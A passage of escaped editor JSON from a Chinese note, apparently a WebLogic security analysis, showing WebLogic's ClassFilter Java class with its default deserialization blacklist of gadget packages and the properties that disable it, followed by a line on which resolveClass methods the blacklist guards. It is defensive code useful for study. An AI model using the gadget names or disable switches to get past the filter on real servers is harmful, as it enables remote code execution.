java.util.StringTokenizer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TCFd-1673851061234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8znX-1673851061233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CFCI-1673851061236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LPuc-1673851061235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public abstract class ClassFilter {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4YRF-1673851061238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8SxX-1673851061237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.blacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlHx-1673851061240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BaLp-1673851061239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0hAe-1673851061242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;973I-1673851061241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = \&#34;weblogic.rmi.disabledefaultblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MWZL-1673851061244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;77IP-1673851061243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vdld-1673851061246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ngCz-1673851061245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.disableblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S8vq-1673851061248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QrOU-1673851061247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nqyw-1673851061250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sN1B-1673851061249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final String DEFAULT_BLACK_LIST = \&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKYw-1673851061252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XPh2-1673851061251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OyDm-1673851061254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HTDI-1673851061253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final HashSet&lt;String&gt; BLACK_LIST = new HashSet&lt;String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M6Db-1673851061256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMCo-1673851061255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O3L-1673851061258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WEcT-1673851061257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Ol7-1673851061260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6mDD-1673851061259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (!isBlackListDisabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xP2U-1673851061262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2E45-1673851061261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      if (!isDefaultBlacklistEntriesDisabled())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6JIQ-1673851061264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pEAs-1673851061263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        updateBlackList(\&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;); &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0oO-1673851061266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mlVQ-1673851061265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      updateBlackList(System.getProperty(\&#34;weblogic.rmi.blacklist\&#34;, null));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yq6g-1673851061268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmYh-1673851061267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fgrW-1673851061270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RywC-1673851061269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u6p5-1673851061272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;faI0-1673851061271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpDD-1673851061274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zPcD-1673851061273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isBlackListDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Xi4-1673851061276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6HO-1673851061275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disableblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Ekh-1673851061278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KyuU-1673851061277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZRQz-1673851061280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mWfM-1673851061279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHOz-1673851061282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m97l-1673851061281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isDefaultBlacklistEntriesDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vqwn-1673851061284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bJ7E-1673851061283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disabledefaultblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zu27-1673851061286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qDCg-1673851061285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddRd-1673851061288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RyqE-1673851061287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BQM9-1673851061290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hxPl-1673851061289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void updateBlackList(String blackList) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kdBa-1673851061292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Er1-1673851061291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (blackList != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UrU2-1673851061294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lOrB-1673851061293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      StringTokenizer st = new StringTokenizer(blackList, \&#34;,\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jLX4-1673851061297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HGBH-1673851061296&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      while (st.hasMoreTokens()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b7Rt-1673851061299&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7sLF-1673851061298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String token = st.nextToken();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IWLW-1673851061301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;savD-1673851061300&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        processToken(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KKEa-1673851061303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4jXj-1673851061302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JKGC-1673851061305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8DO-1673851061304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4vP-1673851061307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v1jz-1673851061306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bFsw-1673851061309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q1s2-1673851061308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Co53-1673851061311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eBw6-1673851061310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void processToken(String token) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z5Kv-1673851061313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G8Z-1673851061312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (token.startsWith(\&#34;+\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IK75-1673851061315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ixYc-1673851061314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZylG-1673851061317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LV1l-1673851061316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (token.startsWith(\&#34;-\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;osyv-1673851061319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GoX2-1673851061318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.remove(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bd28-1673851061321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;poMK-1673851061320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XHWQ-1673851061323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dXtA-1673851061322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mrg0-1673851061325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xjAU-1673851061324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hi5x-1673851061327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;soXm-1673851061326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DDJe-1673851061329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ADzX-1673851061328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rZI4-1673851061331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;55pd-1673851061330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  public static boolean isBlackListed(String className) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bGnI-1673851061333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EuXY-1673851061332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    String pkgName;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RlmW-1673851061335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SJ-1673851061334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (className.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(className))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nehr-1673851061337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sTO7-1673851061336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return true; &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fM7V-1673851061339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s83w-1673851061338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4tS0-1673851061341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TYek-1673851061340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      pkgName = className.substring(0, className.lastIndexOf(&#39;.&#39;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NNfy-1673851061343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h3gU-1673851061342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5rV-1673851061345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TxRR-1673851061344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fj6y-1673851061347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOMf-1673851061346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OQfZ-1673851061349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ql3q-1673851061348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return (pkgName.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(pkgName));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UsyO-1673851061351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GSo9-1673851061350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vq96-1673851061353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVPD-1673851061352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZjAS-1673851061355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qp18-1673851061354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uwb8-1673850999749&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LmuJ-1673850999750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I2SQ-1673575672005&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eweA-1673575672003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这个黑名单主要作用于三个类的resolveClass方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KoXv-1673851226175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GQR5-1673851226170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yiIY-1673851226169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lgLX-1673851243711&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQc9-1673851243710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U8Y8-1673851251940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaKe-1673851251938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z1sQ-1673851175093&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5066/WEBRESOURCEaa67ba749ec95132a8a9d2009336aac9&#34;,&#34;width&#34;:701,&#34;height&#34;:446},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eyJ0-1673851195103&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5069/WEBRESOURCEf91448afe07646b9fb97574ec83a59df&#34;,&#34;width&#34;:690,&#34;height&#34;:437},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y